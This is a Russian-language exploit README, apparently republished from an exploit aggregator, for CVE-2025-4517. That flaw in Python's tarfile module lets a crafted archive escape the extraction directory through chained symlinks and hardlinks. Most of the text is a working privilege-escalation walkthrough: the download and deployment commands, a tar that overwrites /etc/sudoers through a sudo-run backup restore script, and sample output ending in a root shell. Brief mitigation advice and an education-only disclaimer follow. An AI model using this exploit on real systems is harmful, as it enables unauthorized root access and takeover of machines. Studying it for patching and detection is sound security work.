## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AZUREADTRENT-CVE-2025-4517-POC
# Эксплойт CVE-2025-4517
## ПРИМЕЧАНИЯ
Этот эксплойт и описание созданы ИИ. Если вы нашли ошибку или проблему, сообщите мне! Эксплойт был протестирован и подтверждён как работающий. Спасибо!
## Обзор
Этот эксплойт использует **CVE-2025-4517** — критическую уязвимость в модуле `tarfile` в Python, которая позволяет произвольную запись файлов через комбинацию обхода пути с помощью символических ссылок и манипуляции жёсткими ссылками. Это обходит защиту `filter="data"`, введённую в Python 3.12.
### Детали уязвимости
* **CVE ID** : CVE-2025-4517
* **Затронутые версии** : Python 3.8.0 – 3.13.1
* **Оценка CVSS** : 9.3 (Critical)
* **Воздействие** : Произвольная запись файлов с повышенными привилегиями
## Техническая информация
Уязвимость использует недостаток в обработке `tarfile.extractall()` при взаимодействии между:
1. **Симлинками** — используются для обхода пути за пределы каталога извлечения
2. **Жёсткими ссылками** — используются для обращения к файлам через обходной симлинковый путь
3. **Обход фильтра** — параметр `filter="data"` блокирует прямой обход через симлинки, но техника с жёсткими ссылками обходит эту защиту
### Поток атаки
root@kitploit:~
1. Создание глубоко вложенных каталогов (путаница пути)
└─ Используются имена каталогов длиной 247 символов, повторённые 16 уровней в глубину
2. Построение цепочки симлинков для обхода
└─ Создаются симлинки, разрешающиеся вверх по дереву каталогов
3. Обходной симлинк к целевому каталогу (/etc)
└─ Финальный симлинк указывает за границу извлечения
4. Создание жёсткой ссылки, указывающей через обходной симлинк
└─ Жёсткая ссылка: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Запись содержимого в жёсткую ссылку
└─ Запись в "sudoers_link" фактически записывает в /etc/sudoers
### Уязвимый компонент
**Скрипт** : `/opt/backup_clients/restore_backup_clients.py`
root@kitploit:~
# Уязвимый фрагмент кода
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
**Привилегии sudo** :
root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
### Детали системы
* **Версия Python** : 3.12.3 (Уязвима к CVE-2025-4517)
## Использование
### Предварительные требования
* Доступ пользователя с правами sudo для уязвимого скрипта
* Право на запись в `/opt/backup_clients/backups/`
* Python 3 на атакующей машине
### Установка
root@kitploit:~
# Загрузка эксплойта
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Перемещение на целевую систему
### Базовое выполнение
root@kitploit:~
# Запуск эксплойта
./exploit.py
# Или через Python
python3 exploit.py
### Пошаговая ручная инструкция
Если вы предпочитаете выполнять каждый шаг вручную:
root@kitploit:~
# 1. Создание tar-архива эксплойта
python3 exploit.py --create-only
# 2. Развёртывание на цели
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Выполнение через уязвимый скрипт
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Проверка модификации sudoers
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Получение root
sudo /bin/bash
## Пример вывода
root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Целевой пользователь: wacky
[*] Создание tar-архива эксплойта для пользователя: wacky
[*] Фаза 1: Построение вложенной структуры каталогов...
[*] Фаза 2: Создание цепочки симлинков для обхода пути...
[*] Фаза 3: Создание обходного симлинка для /etc...
[*] Фаза 4: Создание жёсткой ссылки на /etc/sudoers...
[*] Фаза 5: Запись записи в sudoers...
[+] Tar-архив эксплойта создан: /tmp/cve_2025_4517_exploit.tar
[*] Развёртывание эксплойта в: /opt/backup_clients/backups/backup_9999.tar
[+] Эксплойт успешно развёрнут
[*] Запуск извлечения через уязвимый скрипт...
[+] Резервная копия: backup_9999.tar
[+] Промежуточный каталог: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Извлечение завершено в /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Извлечение завершено
[*] Проверка успешности эксплойта...
[+] УСПЕХ! Пользователь 'wacky' добавлен в sudoers
[+] Запись: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
[+] Пользователь 'wacky' теперь имеет полные привилегии sudo
[+] Получить root: sudo /bin/bash
============================================================
[?] Запустить root-оболочку сейчас? (y/n): y
[*] Запуск root-оболочки...
[*] Выполните: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
## Поток Proof of Concept
### Этап 1: Начальный доступ
* Доступ к пользователю
### Этап 2: Повышение привилегий (данный эксплойт)
* Определение прав sudo на скрипт восстановления резервных копий
* Распознавание версии Python, уязвимой к CVE-2025-4517
* Развёртывание tar-эксплойта для изменения /etc/sudoers
* Получение root-доступа
## Меры по смягчению
### Для разработчиков Python
1. **Обновление Python** : Обновитесь до Python 3.13.2+ или примените патчи безопасности
root@kitploit:~
python3 --version # Проверка версии
2. **Дополнительная проверка** : Внедрите строгую проверку содержимого tar
root@kitploit:~
# Проверка подозрительных членов архива перед извлечением
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Симлинки/жёсткие ссылки не разрешены")
3. **Ограничение путей извлечения** : Убедитесь, что все извлечённые файлы остаются в допустимых границах
root@kitploit:~
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Обнаружен обход пути")
### Для системных администраторов
1. **Ограничение доступа sudo** : Минимизируйте количество скриптов, которые могут запускаться от root
root@kitploit:~
# Удалить или ограничить sudo-доступ к скрипту резервного копирования
visudo
2. **Проверка входных данных** : Проверяйте tar-архивы перед обработкой
root@kitploit:~
# Проверка содержимого tar до извлечения
tar -tzf archive.tar | grep -E '\.\./|^/'
3. **Мониторинг целостности файлов** : Отслеживайте критические файлы, такие как /etc/sudoers
root@kitploit:~
# Настройка AIDE или аналогичной IDS
aide --check
4. **AppArmor/SELinux** : Внедрите обязательный контроль доступа
## Ссылки
### Информация о CVE
* CVE-2025-4517 - NVD
* CVE-2025-4138 - Связанная уязвимость
* Бюллетень безопасности Python
### Исследования и отчёты
* Бюллетень безопасности Linux
* Исследование Google Security - GHSA-hgqp-3mmf-7h8f
### Публичные PoC
* DesertDemons CVE-2025-4138-4517-POC
* StealthByte CVE-2025-4517-poc
* AnimePrincess420 PoC
## Юридическое предупреждение
Этот эксплойт предоставляется **только в образовательных целях** и предназначен для использования в:
* Авторизованных тестах на проникновение
* Соревнованиях Capture The Flag (CTF), таких как HackTheBox
* Исследованиях безопасности в контролируемых средах
* Раскрытии уязвимостей и разработке исправлений
Автор(ы) не несут ответственности за неправомерное использование этого кода.
**Оригинальное исследование** : Множество исследователей безопасности (см. Ссылки)
## Лицензия
Лицензия MIT - подробнее см. в файле LICENSE
* * *
**Последнее обновление** : Март 2026